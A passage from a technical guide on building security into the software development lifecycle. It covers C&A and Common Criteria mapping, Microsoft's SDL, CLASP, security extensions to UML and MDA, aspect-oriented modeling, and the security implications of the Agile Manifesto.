When it comes to security-enhancing the development lifecycle process for the software elements of systems that will eventually undergo system security certification and accreditation (C&A), FIPS 140-2 certification, or Common Criteria (CC) evaluation, the main consideration is to ensure that the different phases of the C&A or evaluation processes are mapped to the appropriate software development process phases. Such a mapping will simplify coordination of timing of production of the artifacts required for the accreditation or evaluation.

One benefit of such a mapping will be to minimize the duplication of effort required to satisfy the needs of both processes. This can be accomplished by designing the software development process’ artifacts to also satisfy the accreditation or evaluation artifact requirements. The objective is to avoid having to generate a whole separate set of evaluation artifacts, but rather to be able to submit the artifacts produced during the normal course of software development, possibly with some minimal level of adaptation, to the certifier or evaluation lab.

Information on all of the documents cited in this section appears in Appendix B.

4.2.2.1. C&A in the Development Lifecycle

As for the lifecycle itself, the major federal government C&A methodologies mandated to date—including the U.S. federal National Information Assurance Certification and Accreditation Process (NIACAP) and U.S. Department of Defense (DoD) Information Technology Security Certification and Accreditation Process (DITSCAP) provide little guidance on the processes used to develop the systems that will be accredited, while the U.S. Federal Information Security Management Act (FISMA) and the U.S. Director of Central Intelligence Directive (DCID) 6/3 do include defined guidelines for the testing phase of the development lifecycle, although less-well-defined guidelines for the rest of the lifecycle activities.

The new U.S. DoD Information Assurance Certification and Accreditation Process (DIACAP) that C&A related documentation, review and test activities are included earlier in the lifecycle, although DIACAP is slanted towards the spiral systems engineering lifecycle, as mandated in DoD Acquisition policy (defined in DoD Directive 5000.2, DoD Instruction 5000.2, and the DoD Acquisition Guidebook), Operation of the Defense Acquisition System. Similarly, NIST SP 800-64, Security Considerations in the Information System Development Life Cycle, identifies the positioning throughout the system development lifecycle of the C&A activities detailed in NIST SP 800-37, Guide for the Security Certification and Accreditation of Federal Information Systems. The newer C&A methodologies, and their supporting guidance, can be seen as expanding the validations from what were originally solely post-development activities towards a holistic set of analyses and tests beginning much earlier in the development lifecycle.

4.2.2.2. Late Lifecycle Validations and Software Security Testing

Some amount of penetration testing is often performed in connection with C&A. However, the extent and focus of that testing will vary at discretion of each certifier. In all cases, whatever penetration testing is done focuses on identifying whole-system vs. individual component vulnerabilities. The objective of this penetration testing is to ensure the security of the system as a whole, under expected usage and environmental conditions. More granular testing is not performed that would reveal how the components of the system would behave in response to intentionally-induced faults.

While the CC does include specific criteria for evaluating the development process for the Target of Evaluation (TOE), the bulk of the evaluation activity for the highest Evaluation Assurance Levels (EALs), and all of the evaluation activity for the lower EALs, is limited to review and analysis of the written assurance argument for the TOE, submitted by the TOE’s developer/supplier. CC evaluation at the higher EALs includes a vulnerability
assessment of the evaluation target to discover exploitable defects in the software components that make up the
TOE being evaluated. However, these vulnerability findings are not published in the evaluation report, nor are
they maintained or tracked through later releases of the same product. Also CC evaluation’s benefits are limited,
because the evaluations consider only systems in which security functionality is an integral or exclusive part.

It is unlikely that, as currently conceived, the methodologies for government C&A and for CC evaluation, will
provide adequate evidence for the certifier or evaluator to determine whether the software components of the
system under consideration will behave securely under all possible conditions. Nor will the evidence provided
enable the certifier/evaluator to zero in on those components that are likely the cause of any insecure behavior
observed in the system as a whole. For this reason, these late lifecycle security validations must be augmented by
earlier-in-the-lifecycle tests that “drill down” into the individual components to ensure that each component is
attack-resistant and attack-resilient, so that any deficiencies in the security of the system as a whole can be more
easily pinpointed to the interfaces among components or between the system and its environment.

4.3. Increasing Security through Use of Lifecycle Process Models and
Development Methodologies

Because market pressures tend to dominate the production of commercial software, and much open source
software at least originates from academic prototypes and other less-disciplined development efforts, security
verification and testing activities are often not incorporated into the development processes used to produce those
components. It is very difficult for the integrator to get visibility into the development processes that were used to
produce acquired or reused components as the majority of the commercial software in a component assembly or
integrated application will not have been subjected remotely the same degree of rigor applied to by developers
working under the governance of a lifecycle process model and structured development methodology.

However, with its commitment to its SDL (see Section 4.3.2.1), Microsoft is leading the way in the commercial
arena towards injecting both discipline and security-specific reviews and artifacts into their development process.
Equally important is their commitment to training all of their developers in the importance and meaning of
security for software products. It is hoped that other commercial software suppliers and even open source
developers will be inspired to follow a similar path, and that this document may help them take the first steps.

Adopting a lifecycle process model and supporting development methodology (or methodologies) can play an
important role in increasing the likelihood that the software produced by that process will be more secure.
Lifecycle process models are intended to define a system for analyzing, quantifying, and enhancing the efficiency
and quality of the generic “processes” (business processes, engineering processes, or other types of processes)
involved in product production and delivery. The main objective is to improve the efficiency and adaptability of
each process in order to make it repeatable and to improve its quality and, as a result, minimize the number and
magnitude of errors in the process. A third objective is to provide a framework for consistently applying the
process across multiple instances of its use (e.g., different development projects).

The SEI’s Capability Maturity Model (CMM) and General Electric’s Six Sigma are the most widely used
software lifecycle process models. Both models are predicated on the notion that product quality cannot be
ensured without first guaranteeing the quality of the process by which the product is developed. “Product” in this
case can be anything from an airplane engine to a hospital’s medical services to software. In addition, there are a
number of CMM variants tailored for specific communities or problem spaces. These include CMM-Integrated
(CMMI) (also defined by the SEI), the Integrated-CMM (iCMM) defined by the U.S. Federal Aviation
Administration (FAA), and the SSE-CMM defined by the U.S. NSA. Appendix B lists resources for information
on all of these process models.

By contrast with lifecycle process models, software development methodologies are specific in their purpose or
applicability. Object-oriented modeling, for example, is designed to provide structured guidance to developers on
how to organize, depict, and specify their functional software requirements and designs, then how to apply “best practices” to increase the likelihood of functional correctness of their from-scratch code.

As with general lifecycle process models, however, there is nothing inherently “security enhancing” about most development methodologies. For example, software modeling will not improve software security unless that modeling includes the modeling of threats, the modeling of security-relevant behaviors and interfaces, and the modeling of misuse and abuse cases. In short, if the security aspects of the software aren’t explicitly addressed by a development methodology, that methodology may do little to enhance software security.

Figure 4-1 is provided as a frame of reference for the discussions of specific lifecycle process models and development methodologies that follow. While this “generic” development process is depicted as linear, it is intended to suggest the typical steps common to the majority of non-agile software development lifecycle processes, whether linear, spiral, or iterative.

**Figure 4-1. Generic Software Development Lifecycle**

### 4.3.1. Choosing a Lifecycle Process and Development Methodology for Integration/Assembly Projects

In some cases, the influence on software security of the disciplines added by the security-enhanced process model or development methodology is likely to be somewhat greater for software developed from scratch than they it is for software systems integrated/assembled from acquired or reused components. This is because the security of integrated/assembled systems are unavoidably affected by the security deficiencies in the development processes used by the individual components’ suppliers; the process used by the integrator/assembler can only affect the
security of the configuration of those components, and of how their interfaces are exposed, controlled, and protected.

In selecting and applying a lifecycle process model, as well as a supporting development methodology (see Section 4.3.3), the integrator of acquired or reused components should consider the adequacy of that process not only in improving the security of from-scratch coding activities, but in supporting the security evaluations and countermeasure engineering needed to securely use acquired or reused components. The methodology used by integrators should provide for extensive threat modeling and security modeling, security evaluation of components, integration/assembly option prototyping and security evaluation, and integration security testing. If integration/assembly will also include open source components and/or the development process will include from-scratch coding, the methodology should also provide adequate support for secure coding activities, and for security review of source code.

4.3.2. Security-Enhanced Lifecycle Process Models

It is a truism that just because a process is efficient, repeatable, and applied in a consistent, disciplined way, there is no guarantee that the process is actually good, or for our purposes, “security-enhancing”. For any process capability model to be useful in improving the security of software produced under that model, the first step must be to define processes that are inherently security-enhancing. Equally important, these security-enhancing processes must be simple and straightforward enough to be adopted without excessively increasing project costs, impacting schedule, or requiring for extensive specialist training. Only when these things can be accomplished, will the process capability model be able to help enforce the consistent, disciplined, and quality-assured application of processes at all, let alone those that will enhance the security of software produced by all development teams, across the enterprise, and over time. Fortunately, a number of efforts have been undertaken to adapt or extend existing CMMs or to define new secure process and lifecycle models. These efforts are described below.

4.3.2.1. Microsoft Trustworthy Computing Security Development Lifecycle (SDL)

NOTE: The material in this section and its subsections was authored is copyrighted © 2005 by Microsoft Corporation excluding certain portions, which are copyrighted © 2004 by the Institute of Electrical and Electronics Engineers, Inc. This copyrighted material is reprinted here with permission, with all rights reserved by the original copyright holders.

Beginning with Bill Gates’ Trustworthy Computing memo in January 2002, Microsoft embarked on an ambitious set of process improvements to create more secure software. The process security and privacy element of these improvements is named the Security Development Lifecycle. To date software developed under the SDL has exhibited over a 50% reduction in vulnerabilities compared to software versions developed prior to the introduction of the SDL.

Microsoft feels that security is a core requirement for all software vendors, driven by market forces, the need to protect critical infrastructures, and the need to build and preserve widespread trust in computing. A major challenge for all software vendors is to create more secure software that requires less updating through patches and less burdensome security management.

According to Microsoft, the key to the software industry’s ability to meet today’s demand for improved security is to implement repeatable processes that reliably deliver measurably improved security. Therefore, software vendors must transition to a more stringent software development process that focuses, to a greater extent, on security. Such a process is intended to minimize the number of security vulnerabilities extant in the design, coding, and documentation and to detect and remove those vulnerabilities as early in the development lifecycle as possible. The need for such a process is greatest for enterprise and consumer software that is likely to be used to
process inputs received from the Internet, to control critical systems likely to be attacked, or to process personally
identifiable information. There are three facets to building more secure software:

1. Repeatable process;
2. Engineer education;
3. Metrics and accountability.

If Microsoft’s experience is a guide, adoption of the SDL by other organizations should not add unreasonable
costs to software development and the benefits of providing more secure software (e.g., fewer patches, more
satisfied customers) far outweigh the costs.

The SDL involves modifying a software development organization’s processes by integrating tasks and
checkpoints that lead to improved software security. This text summarizes those tasks and checkpoints and
describes the way that they are integrated into a typical software development lifecycle. The intention of these
modifications is not to totally overhaul the process, but rather to add well-defined security reviews and security
deliverables.

A critical cornerstone of the success of SDL at Microsoft is the ongoing education and training of the firm’s
developers in the techniques and technologies required for secure development. Microsoft’s educational
philosophy and curricula are described in Section 6.3.

The SDL maps security-relevant tasks and deliverables into the an existing software development lifecycle. The
SDL is not meant to replace the current process; it is, in fact, process-agnostic. The following sections outlines the
major phases of the SDL and their required tasks and deliverables. Figure 4-2 depicts, at a very high level, the
phases of the SDL.

![SDL Flowchart](image)

**Figure 4-2. SDL Improvements to the Software Development Process.**

### 4.3.2.1.1. Requirements Phase

The need to consider security “from the ground up” is a fundamental tenet of secure system development. During
the requirements phase, the product team makes contact with the central security team to request the assignment
of a security advisor who serves as point of contact, resource, and guide as planning proceeds. The security
advisor assists the product team by reviewing plans, making recommendations, and ensuring that the security
team plans appropriate resources to support the product team’s schedule. The security advisor remains the product
team’s point of contact with the security team from project inception through completion of the Final Security
Review (FSR) and software release.

The requirements phase is the opportunity for the product team to consider how security will be integrated into
the development process, identify key security objectives, and otherwise maximize software security while
minimizing disruption to plans and schedules. As part of this process, the team needs to consider how the security
features and assurance measures of its software will integrate with other software likely to be used together with
its software.
4.3.2.1.2. Design Phase

The design phase identifies the overall requirements and structure for the software. From a security perspective, the key elements of the design phase are:

1. **Define security architecture and design guidelines.** Define the overall structure of the software from a security perspective, and identify those portions of the software whose correct functioning is essential to system security.

2. **Document the elements of the software attack surface.** Given that software will not achieve perfect security, it is important that only features that will be used by the vast majority of users be exposed to all users by default, and that those features be installed with the minimum feasible level of privilege.

3. **Conduct threat modeling.** Using a structured methodology, the threat modeling process identifies threats that can do harm to each asset and the likelihood of harm being done (an estimate of risk), and helps identify countermeasures that mitigate the risk. The process also helps drive code review and security testing, as the highest-risk components require the deepest code review and the most thorough testing. Microsoft’s Threat Modeling methodology was discussed in Section 4.3.1.1.

4.3.2.1.3. Implementation Phase

During the implementation phase, the product team codes, tests, and integrates the software. Steps taken to remove security defects or prevent their initial insertion significantly reduce the likelihood that security vulnerabilities will make their way into the final version of the software. The elements of the SDL that apply are:

- From the threat modeling task, understand which components are highest risk.
- Apply coding and testing standards and best practice at peer review and prior to code check-in.
- Apply security testing tools, especially fuzzing tools.
- Apply static analysis code scanning tools and binary inspection tools.
- Conduct security code reviews.

Document security best practice for the users of the product, and if necessary build tools to help the users ascertain their level of security.

4.3.2.1.4. Verification Phase

The verification phase is the point at which the software is functionally complete and enters beta testing. Microsoft introduced their “security push” during the verification phase of Windows Server 2003 and several other software versions in early 2002. The main purpose of the security push is to review both code that was developed or updated during the implementation phase and especially “legacy code” that was not modified. The product team may conduct penetration testing at this stage to provide additional assurance that the software is capable of resisting the threats it will encounter after release. Expert third party penetration testers can also be engaged at this point.

4.3.2.1.5. Release Phase

During the release phase, the software is subject to a FSR. The FSR is an independent review of the software conducted by the central security team for the organization. Tasks include reviewing bugs that were initially identified as security bugs, but on further analysis were determined not to have impact on security, to ensure that the analysis was done correctly. An FSR also includes a review of the software’s ability to withstand newly
reported vulnerabilities affecting similar software. An FSR for a major software version will require penetration
testing, additional code review and, potentially, the use of outside security review and penetration testing
contractors to supplement the central security team.

4.3.2.1.6. Support and Servicing Phase

Despite the application of the SDL during development, state of the art development practices do not yet support
shipping software that is completely free from vulnerabilities—and there are good reasons to believe that they
will never do so. Product teams must prepare to respond to newly-discovered vulnerabilities in shipping software.
Part of the response process involves preparing to evaluate reports of vulnerabilities and release security
advisories and updates when appropriate. The other element of the response process is conducting the post-
mortem of each reported vulnerability and taking action as necessary, such as updating the SDL process,
education and tools usage.

4.3.2.1.7. Results of Implementing the SDL at Microsoft

Microsoft feels that it is premature for them to make conclusive claims that the SDL improves the security of
software, but the results to date have been encouraging with an across the board reduction of approximately 50-
60% in post-release security defects in Microsoft software compared with earlier software versions released prior
to the introduction of the SDL. Microsoft’s experience thus indicates that the SDL can be effective at reducing the
incidence of security vulnerabilities. Implementation of the SDL during the development of Windows Server
2003, Windows XP SP2, SQL Server 2000 Service Pack 3, and Exchange 2000 Server Service Pack 3 in
particular resulted in significant improvements in the software security of those releases and of subsequent
versions. These continuing improvements reflect the effectiveness of Microsoft’s ongoing enhancements to SDL,
which appear to be resulting in further improvements in the security of their software. Microsoft has observed
that the incremental implementation of the elements that comprise SDL yields incremental improvements. They
view this as an important sign that the process is effective, though not yet perfect; SDL is expected to continue
evolving and improving into the foreseeable future.

The development and implementation of the SDL represents a major investment for Microsoft, and a major
change in the way that their software is designed, developed, and tested. The increasing importance of software to
society emphasizes the need for Microsoft and the industry as whole to continue to improve software security.
Microsoft SDL practitioners have published papers on SDL and books on specific techniques used through the
different SDL phases in an effort to share Microsoft’s experience across the software industry. Appendix B
includes more details on the SDL whitepaper available online and these books.

4.3.2.2. Comprehensive, Lightweight Application Security Process (CLASP)

John Viega, founder of Secure Software, Inc., has published a structured process for introducing security in the
early stages of the software development lifecycle. The Comprehensive, Lightweight Application Security
Process (CLASP) (see Appendix B) represents a collection of methods and best practices used collectively to start
identifying and addressing appropriate application security concerns well before any code is written for the
system. CLASP is arguably the first defined lifecycle process with the specific objective of enhancing the security
(vs. safety, correctness, or high-quality) of the early stages of the software development lifecycle. As a formal
process emphasizing accuracy and quality assurance, CLASP shares objective traits native to more industry-
driven CMM-based lifecycle process models.

CLASP includes instructions, guidance, and checklists, for activities that comprise its structured process. Thirty
(30) specific activities are expressed in CLASP that can be used and adapted in order to increase security
awareness across the development team. These activities are assigned to the following typical roles found
throughout the lifecycle, designating both owners and participants:
For each role-based activity cited, CLASP describes:

1. The application of the activity (e.g., when and how it should be performed);
2. The level of risk associated with omitting the activity;
3. The estimated cost for implementing the activity.

Together, these three factors form the basis for the cost/benefit analysis of applying CLASP to a specific application development effort, and a rationale for adopting the methodology.

CLASP assigns responsibility and suggests accountability for each activity, and delineates two different “roadmaps”: one that supports development of new systems using an iterative, or “spiral”, methodology, and one that supports maintenance/enhancement of legacy systems, and focuses on management of the current development effort. Both roadmaps incorporate consistent testing and analysis of the application’s security posture through any upgrades or enhancements.

Although CLASP is designed to insert security methodologies into each lifecycle phase, the suggested activities are clearly self-contained. CLASP is intended for adaptation to any software development process. This allows flexibility within the CLASP model, as well as providing security measures, which can be summarily integrated within many other models. As mentioned earlier, CLASP is available plug-in to the Rational Unified Process (RUP) development methodology, or as a reference guide to a standalone development process. The CLASP plug-in to RUP is available free-of-charge but requires a RUP license to implement. Because of its relatively recent release, however, little information has been made available about how the CLASP plug-in works or how it is currently being accepted into the secure systems development community.

CLASP provides notation for the purpose of diagramming system architectures, but suggests a collection of UML extensions to provide for the explanation of security elements. Via the plug-in to RUP, CLASP supports development based on the standards set by UML. Security is taking hold of software modeling, and is evidenced through the corroboration of these methods.

### 4.3.2.3. Other Secure Lifecycle Process Definition Efforts

See Appendix D for a discussion of some other noteworthy efforts to define a secure software development lifecycle process.

### 4.3.3. Secure Use of Development Methodologies

Software development methodologies are not typically driven by the same organizational objectives as process capability models. Whereas capability models are designed to improve the application of virtually any generic process at an organizational level in order to satisfy specific business objectives, software development methodologies are intended to define lower-level, functional and technical constraints to software specification, design and implementation practices specifically. The intent of using a structured development methodology is to increase the likelihood that the software produced will be correct, of high quality, and in some cases more reliable or reusable. In common with process capability models, however, with very few exceptions software development methodologies are geared towards improving the quality rather than the security of software.
Some practitioners have reported that with the general reduction in overall defects in their software they have observed a coincidental reduction in the subset of those defects that were exploitable, and thus represented security vulnerabilities. We use the word “coincidental” here because the reduction of vulnerabilities was not the objective of the adoption of the structured methodology. We would expect that a security-focused methodology with the specific objective of systematically eliminating and, better yet, preventing exploitable defects in software would yield far more impressive results when it came to producing secure software than a methodology that merely happened to reduce some number of security defects as a percentage of its overall defect reduction.

It is particularly important that this coincidental reduction in vulnerabilities not be allowed to lull developers into a false sense of security, nor that it be interpreted incorrectly to mean that general good software engineering and quality assurance are all that is needed to improve software’s security. The element of intentionality of the threat to software security will always render quality-based approaches to the security problem inadequate. Without the threat and security modeling needed to understand the effects of series of interactions, none of which individually can be considered defected, but the sequencing of which constitutes a vulnerability, any security benefits accidentally accrued from quality engineering (or reliability engineering, or safety engineering) will be just that: accidental. To be truly effective in improving security, software engineering has to intentionally and methodically address security issues.

The following sections describe new “secure” structured methodologies that have recently appeared and ways in which popular development methodologies are being enhanced to specifically address security concerns.

4.3.3.1. Using Model Driven Architecture (MDA) to Achieve Secure Software

Model Driven Architecture (MDA) was developed by the Object Management Group (OMG) (see Appendix B) as a way to transform a UML model into a Platform Specific Model (PSM) that provides the developer with all the necessary information for implementing the modeled system on a particular platform. By automating the transformation from UML model to PSM, OMG intends for most of the implementation of software to be automatically generated, thus reducing the amount and complexity of the code that must be designed and implemented by human developers, and coincidentally reducing the number of defects in the resulting application.

The eventual goal of MDA is to enable an entire application to be automatically generated from models. MDA modeling languages have precisely-defined semantics that allow for fully automated formal verification through tool-driven model checking; by contrast, traditional programming languages have fairly loosely defined semantics and must be, in large part, verified manually.

While one of the Pervasive Services extensions to MDA originally conceived by the OMG was Security Services, the current Pervasive Services specification does not contain Security Services; OMG does, however, suggest that additional Pervasive Services may eventually be defined, either derived from the list of standard CORBA services (which include security services), or added at the suggestion of OMG members.

A significant amount of research is being done outside OMG itself to extend MDA, for example by combining it with elements of Aspect Oriented Design (AOD), or by defining new UML-based security modeling languages and MDA-based secure design models. Tools such as ArcStyler from Interactive Objects and IBM/Rational Software Architect, offer support of some form of “model driven security” for security modeling and model checking and automatic code generation from security models.

However, as the majority of initiatives for security-enhancing UML or Aspect Oriented Software Development (AOSD), the various MDA-based security enhancements undertaken to date have focused on modeling access control and authorization or security policy, but have not undertaken the challenge of modeling the nonfunctional properties that would make software in and of itself secure in terms of robustness against intentional exploitation or compromise, or resilience from intentionally-induced faults.
Even without security extensions use of MDA has been observed reduce the number of quality defects in the modeled and auto-generated software. Among the overall number of defects avoided through use of MDA, some subset is likely to be security defects. But while MDA may coincidentally reduce software security defects as it reduces overall defects, on its own it can do little to help reduce the number of valid features or benign anomalies in the software that have no impact on the software’s quality/reliability under normal usage conditions by non-malicious users, but which manifest as vulnerabilities (i.e., exploitable defects) when targeted intentionally by attackers intent on compromising the software, its environment resources, or its data. Until MDA methods and supporting tools exist that specifically enable modeling of the necessary nonfunctional software security properties, use of MDA will have only limited benefit in the development of secure software.

4.3.3.2. Secure Object-Oriented Modeling with Unified Modeling Language (UML)

Most structured development methodologies, including methodologies supporting object-oriented development, do not focus on security. Rather, they treat security as a generic nonfunctional requirement for which no specific security-focused artifacts are needed. Recognizing this deficiency, some efforts have been undertaken to integrate security concerns into object-oriented development. Most notable among those are UMLSec and Secure UML, which are described later in this section.

UML is the industry-standard language for specifying, visualizing, constructing, and documenting the artifacts of software. though it is often used incorrectly to designate object-oriented modeling in general, UML is not a methodology per se. It provides only a standard notation and suggested set of modeling artifacts. It does not standardize or even explicitly describe development practices. While UML is inherently deficient in its lack of explicit syntax that supports security modeling (e.g., misuse and abuse case modeling), according to Gunnar Peterson in his article “Top Ten Information Security Considerations in use case Modeling” (see Appendix B), it is possible to apply a security-informed mindset to use case modeling. Unfortunately, Peterson’s main focus is on modeling of security functions of applications, vs. modeling of security properties of software. Some of the points made in Peterson’s article are worth noting by developers for whom use cases are a key artifact of their object-oriented modeling efforts.

1. **Negative requirements:** While functional requirements indicate what high-level business features are required, then decompose those high-level business features into a finite set of requirements, nonfunctional requirements for properties and attributes tend to be more nebulous and lack of precise metrics for determining whether they have been satisfied in the implemented software. Where functional requirements usually stipulate that the system must do something, security requirements are often expressed in terms of ensuring that something must not happen. Developing to a negative requirement is difficult; this difficulty is the root cause of many software security deficiencies.

2. **Security tradeoff analyses:** Use case models provide a format in which to express the findings of the architectural tradeoff analysis of security mechanisms at different points in the application, and establish a basis for making the necessary tradeoff decisions.

3. **Security stakeholders:** The use case model documents all stakeholders that have some interest in the outcome of the development project. These stakeholders should include those who have an interest in the security of the application being developed, such as the certifier and accreditor.

4. **Security preconditions and post-conditions:** The use case preconditions allow should capture all security preconditions, such as required authentications and authorizations that must be completed before a user is able to access the functionality described in the use case. These preconditions may include the enforcement of security policy defining the acceptable states that the software is allowed to be in. Post-conditions should document the set of security-relevant states possible at the end of the use case. For example, the post-conditions should capture what must be done by the software at the completion of the
use case, for example disabling the user’s session, locking open accounts, deleting temp files and cache, releasing accesses to resources, and relinquishing privileges.

5. **Security implications of exceptional and alternate data and control flows:** A fundamental principle in security design is to plan for failure. From a security standpoint, exceptional and alternate flows in the use case highlight paths that often become attack vectors once the software is deployed. These flows should be reviewed to ensure that the application is not likely to enter an insecure state, and to identify areas in which to deploy security mechanisms such as audit logs and intrusion detection tools in order to catch security exceptions as they occur.

6. **Authorization of actors:** An analysis of the actors involved in the use case model forms the basis for defining the authorization structures, such as roles and groups, required to support the application’s security policy.

7. **Modeling identity:** A digital identity is the result of a set of processes, such as authentication events that get mapped onto some principal(s) and are evaluated. Identity is a foundational element for security functionality. Use case modeling can help in the precise definition and use of rule sets for building, validating, and exchanging identities in a system.

8. **Security implications of use case relationships:** Use case models feature two types of relationships: includes and extends. Each relationship has direct security implications. For example the outcome of “including” an access control use case can alter the behavior of the related use case depending on whether the outcome of the access control is a “pass” or a “fail”. The extends relationship, by contrast, does not alter behavior of the preceding use case. If a use case “extends” to a monitor an event and the monitoring agent is nonfunctional, the flow of the preceding use case may still be allowed to continue without being monitored.

9. **Mapping use cases to threat models:** Threat modeling maps possible threats to the application, and their impacts if they are successfully manifested. This enables the designer to designate the appropriate security countermeasures in the application to counteract those threats. The use case allows the threat model to address both an end-to-end and component-level view of the application and the disposition of countermeasures within it.

10. **Support for architectural security decisions:** The design tradeoffs necessitated by security do not exist in isolation. Use case modeling provides an end-to-end view of the application, enabling easier identification and analysis of the impacts of choosing to deploy or not to deploy certain security protections, etc., at different points in the application.

11. **Security test case development:** Security-centric use case elements should be associated with a set of test cases to demonstrate the application’s ability to enforce security policy, and to handle the results of threats that successfully target it (misuse and abuse cases).

The following UML profiles are intended to add expressions for security functions or properties to UML.

Resources for more information each profile appear in Appendix B.

- **CORAS UML Profile:** Developed under the umbrella of the CORAS Project (see Section 4.2.1.2), the CORAS UML profile for security assessment introduces a metamodel that defines an abstract language for supporting model-based risk assessment. This profile provides a mapping of classes in the metamodel to UML modeling elements by defining so-called “stereotypes”, and introduces special symbols (“icons”) for representing these stereotypes in UML diagrams. The CORAS UML profile for security assessment was submitted to the OMG and adopted as a recommended standard by the OMG technical meeting in London in November 2003; it is now undergoing finalization. The focus of the CORAS UML profile is the modeling of threats, such as buffer overflow exploits, and associated “treatments” (countermeasures).
Unlike UMLsec and SecureUML (see below), the CORAS UML Profile appears to be directly relevant to the modeling of software security properties and attributes rather than security functions implemented in software.

- **SecureUML**: Conceived by Torsten Lodderstedt, David Basin, and Jürgen Doser in the Institute for Computer Science at the University of Freiburg (Germany), and applied practically by Foundstone as the basis for their design of secure authorization systems, SecureUML is a UML-based modeling language for expressing Role Based Access Control (RBAC) and authorization constraints in the overall design of software applications. It is not clear whether SecureUML lends itself to further extension to support broader modeling of software security properties, such as integrity, availability, non-compromisability, non-exploitability, and resilience.

- **UMLsec**: The brainchild of Jan Jürens (Munich University of Technology and University of Oxford), UMLsec adds extensions to a formal subset of standard UML to produce a modeling language tailored to the needs of secure systems developers. UMLsec is intended to encourage developers to consider security requirements in a system context from the earliest design phases. The language enables the developer to evaluate UML specifications for security vulnerabilities in the system design based on established rules of secure engineering encapsulated in a checklist. Because it is based on standard UML, UMLsec should be useful to developers who are not specialized in secure systems development. UMLSec’s key shortfalls are (1) its assumption that all underlying security algorithms used in the system are secure, and (2) the inflexibility of its modeling capabilities and validations which do not account for the unpredictability of attacks. As a modeling tool for security as a property, UMLSec, like SecureUML (and standard UML), appears to be inadequate, and indeed, as with SecureUML, its documented applications in the lab have been limited to the modeling of access control and authorization functions.

It has been suggested that object-oriented development and its focus on components (objects) exacerbates the problem of developing secure software. The discussion of AOSD in Section 4.3.3.3 provides some insight into the problem, though AOSD may fall short as a solution.

### 4.3.3.3. Using Aspect Oriented Software Development (AOSD) to Produce Secure Software

It has been observed that one weakness of object-oriented modeling is that it focuses only on security properties as they relate to specific software functionalities, but cannot efficiently capture “cross-cutting” security properties that hold true across the application. For example, UML does not include such a construct as a “misuse case” or an “abuse case”, which makes it difficult to use UML to capture such properties as “resilience after a successful attack” or “reliability in the face of an intentionally-induced fault”, although it is well-suited to capturing functionality-related properties such as “self-correction capability” or “detection of unintentional faults”.

By contrast, Aspect Oriented Modeling (AOM, a phase of AOSD) specifically addresses this deficiency in object oriented modeling regarding depiction of cross-cutting properties. AOM extends the expressions possible using object-oriented modeling methods, such as RUP, MDA, and other methods supported by UML. The specific intent of AOM is to better achieve separation of concerns in the models of complex systems and to increase the expressiveness of object-oriented modeling to better capture the complexities of cross-cutting concerns such as security.

An AOM design model consists of a set of aspect models, the situations and in which cross-cutting occurs, and a primary model. The aspect models describe how a single objective is achieved in the design while the primary model is a traditional application architecture, depicting the functionality of the system. By separating the various aspects from the primary model, it is possible to devise rules for weaving the aspect models with the primary model. Because the aspects and weaving rules are separate from the primary model, they can be reused. In lieu of available Aspect Oriented Programming (AOP) techniques, the aspect models can be combined with the primary
model prior to implementation. This results in a stronger implementation in which the cross-cutting concerns themselves become modular portions (objects) within the application.

AOM supports expression of cross-cutting concerns such as security by allowing those concerns to be captured in a separate, modular component of the application model. The cross-cutting security concerns expressed in an aspect-oriented model essentially define the high-level requirements for the security capabilities and security properties within an integrated application or component assembly. These security aspects include the security properties or self-protecting characteristics of the software itself, such as non-bypassability and domain separation, and the security functions (or services) the software provides to its users, such as digital signature and authentication.

AOP enables the developer to write the software’s nonfunctional one time at one location, then to have that code automatically inserted into the functional source code at appropriate points. This approach enables developers to more easily tailor systems to satisfy implementation-specific nonfunctional requirements, such as those for security properties. There is some question as to the appropriate point in the lifecycle at which these nonfunctional options should be provided. It may be possible to implement them as configuration options, specified in a configuration file that is bound to the software during linking, at start up, or at runtime. J2EE (Java 2 platform, Enterprise Edition), for example, has a feature that delays some design decisions until deployment.

The problem with implementing these decisions in source code is that it is difficult to analyze code inserted for multiple nonfunctional requirements to determine how those inserted code modules interact and how a change to the aspect code will impact on the whole system/application. There is no construct similar to an object class, to encapsulate actions in AOP. Without such a feature, AOP must be used with caution if the resulting software is to be analyzable to verify its security. Indeed, for purposes of security assurance, the ability to analyze the software is more important than the ability to more easily express cross-cutting security properties and attributes.

### 4.3.3.4. Can Agile Development Methods Produce Secure Software?

The collection of software development methodologies that fall under the umbrella of “Agile Methods”, with one notable exception (noted in the list of agile methods below), all share in common their authors’ commitment to the core principles of the Agile Manifesto (see Appendix B). The Agile Manifesto makes it clear that an “agile” software process is more than just processes for producing software. “Agility” requires certain philosophical and cultural commitments from developers, managers, and customers.

According to Matthew Bishop of University of California at Davis in his book *Computer Security: Art & Science* (see Appendix B), agile development methodologies are:

> “...based on rapid prototyping and best practices such as separate testing components, frequent reviewing, frequent integration of components, and simple design. A project is driven by business decisions, not by project stakeholders, and requirements are open until the project is complete. The design evolves as needed to remove complexity and add flexibility. Programmers work in teams or pairs. Component testing procedures and mechanisms are developed before the components are developed. The components are integrated and tested several times a day.

One objective of agile development is to put a minimal system into production as quickly as possible and then enhance it as appropriate. Use of this technique for security has several benefits and several drawbacks. The nature of an evolving design leaves the product vulnerable to the problems of an add-on product. Leaving requirements open does not ensure that security requirements will be properly implemented into the system. However, if threats were analyzed and appropriate security requirements developed before the system was designed, a secure or trusted system could result. However, evidence of trustworthiness would need to be adduced after the system was developed and implemented.”
Of most importance in the context of this document are the embedded assumptions in the agile approach that have the potential to conflict with the priorities and needs of secure software engineering. Below is a restatement of the Agile Manifesto’s core principles; those principles with negative or ambiguous implications for software security are italicized and discussed later.

**Core Principles of the Agile Manifesto**

1. The highest priority of agile developers is to satisfy the customer. *This is to be achieved through early and continuous delivery of “valuable”* [our quotation marks] *software.*

2. *Agile developers welcome changing requirements, even late in the development process.* Indeed, agile processes are designed to leverage change to the customer’s competitive advantage.

3. *Agile projects produce frequent working software deliveries.* Ideally, there will be a new delivery every few weeks or, at most, every few months. Preference is given to the shortest delivery timescale possible.

4. The project will be built around the commitment and participation of motivated individual contributors.

5. *Customers, managers, and developers must collaborate daily, throughout the development project.*

6. Agile developers must have the development environment and support they need.

7. *Developers will be trusted by both management and customers to get the job done.*

8. *The most efficient and effective method of conveying information to and within a development team is through face-to-face communication.*

9. *The production of working software is the primary measure of success.*

10. Agile processes promote sustainable development.

11. The developers, as well as the project’s sponsors and the intended users (either of whom could be the “customer”), should be able to maintain a constant pace of progress indefinitely.

12. Agility is enhanced by continuous attention to technical excellence and good design.

13. Simplicity, which is defined as the art of maximizing the amount of work not done, is essential to successful projects and good software.

